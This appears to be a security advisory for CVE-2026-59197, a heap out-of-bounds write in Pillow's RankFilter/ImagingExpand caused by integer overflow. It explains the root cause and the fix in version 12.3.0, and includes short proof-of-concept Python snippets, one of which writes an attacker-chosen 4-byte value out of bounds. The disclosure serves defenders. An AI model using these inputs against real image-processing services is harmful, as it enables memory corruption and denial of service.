CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
Passing a very large filter size to Pillow's MedianFilter, MinFilter, or MaxFilter triggers a native heap buffer overflow in C code, which can corrupt process memory and potentially be exploited by…
The problem
In Pillow versions before 12.3.0, ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before validating the filter size. With size = 4294967295 (0xFFFFFFFF), the expansion margin becomes INT_MAX (2147483647).
ImagingExpand() in src/libImaging/Filter.c then computes output image dimensions using unchecked signed int arithmetic. The addition wraps around, producing a tiny (for example, 1x1) allocation. The border-copy loop still iterates up to INT_MAX times, writing past the allocation.
Mode "I" images produce 4-byte OOB writes where the value comes from attacker-supplied pixel data.
Proof of concept
A working proof-of-concept for CVE-2026-59197 in Pillow, with the exact payload below.
# Minimal crash (1-byte OOB write, mode L)
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
# 4-byte OOB write with attacker-controlled pixel value (mode I)
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))The root cause is a classic CWE-190 integer overflow. ImagingExpand() adds 2 * xmargin to the input image width using a plain signed int, so passing INT_MAX as the margin wraps the sum to a small value. The allocator sees that small size, but the border-copy loop iterates INT_MAX times against it.
The checks that reject oversized filters exist in RankFilter.c, but they are unreachable in the vulnerable code path because image.expand() is called first in Python, before rankfilter() ever runs. The fix moves size validation to RankFilter.__init__() (PR #9695) so it fires at construction time, and hardens ImagingExpand() with an explicit overflow guard: if (xmargin > (INT_MAX - imIn->xsize) / 2) before the allocation.
The fix
Upgrade Pillow to 12.3.0 or later. The fix is in commit cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1 (PR #9695). It validates the filter size in RankFilter.__init__() before expand() is ever called, and adds an integer-overflow guard to ImagingExpand() in Filter.c.
If you cannot upgrade immediately, reject untrusted filter-size inputs at the application layer before passing them to any RankFilter, MedianFilter, MinFilter, or MaxFilter constructor.
Reported by Seratov.
Related research
- high · 7.5CVE-2026-59199CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- highCVE-2026-69247CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle
- highCVE-2026-69249CVE-2026-69249: cryptography Exponential Certificate Chain DoS